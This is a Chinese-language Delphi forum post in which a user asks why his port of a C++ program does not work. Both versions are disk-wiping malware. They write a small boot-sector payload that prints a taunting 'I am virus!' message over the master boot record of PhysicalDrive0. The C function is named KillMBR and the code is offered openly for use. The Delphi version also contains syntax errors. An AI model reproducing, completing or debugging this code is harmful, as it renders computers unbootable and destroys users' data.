c++转delphi问题,大家看下,我转的哪不对(20)

  • 主题发起人 主题发起人 gfwlxx
  • 开始时间 开始时间
G

gfwlxx

Unregistered / Unconfirmed
GUEST, unregistred user!
program Mbr;{$APPTYPE CONSOLE}uses Windows, SysUtils;constShellCode : array[1..48] of byte =($B8, $12, $00, $CD, $10, $BD, $18, $7C, $B9, $18, $00, $B8, $01, $13, $BB, $0C, $00, $BA, $1D, $0E, $CD, $10, $E2, $FE, $49, $20, $61, $6D, $20, $76, $69, $72, $75, $73, $21, $20, $46, $75, $63, $6B, $20, $79, $6F, $75, $20, $3A, $2D, $29);var hDevice : THandle; dwBytesWritten, dwBytesReturned: DWORD; pMbr : array[0..512] of Byte; FSCTL_LOCK_VOLUME : DWORD; FSCTL_UNLOCK_VOLUME: DWORD;begin MemCpy(MBR, ShellCode, SizeOf(ShellCode) - 1); MBR[510] = $55; MBR[511] = $AA; hDevice := CreateFile('//./PhysicalDrive0', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0); // 打开分区, 获取句柄 if hDevice = INVALID_HANDLE_VALUE then Exit; DeviceIOControl(hDevice, FSCTL_LOCK_VOLUME, nil, 0, nil, 0, dwBytesReturned, nil); //逻辑驱动器卷加锁 WriteFile(hDevice, MBR, SizeOf(pMBR), dwBytesWritten, nil); //写入 DeviceIOControl(hDevice, FSCTL_UNLOCK_VOLUME, nil, 0, nil, 0, dwBytesReturned, nil); CloseHandle(hDevice);end.-----------------------------------这是c代码int KillMBR(){ HANDLE hDevice; DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; // 重新构造MBR //memcpy(pMBR, shellcode, sizeof(shellcode) - 1); memcpy(pMBR, shellcode, 512-1); pMBR[510] = 0x55; pMBR[511] = 0xAA; hDevice = CreateFile ( "////.//PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); if (hDevice == INVALID_HANDLE_VALUE) return -1; DeviceIoControl ( hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); // 写入病毒内容 WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL ); CloseHandle(hDevice); cout<<"Oh **** !/n"<<endl; ExitProcess(-1); return 0;}
 

Similar threads

后退
顶部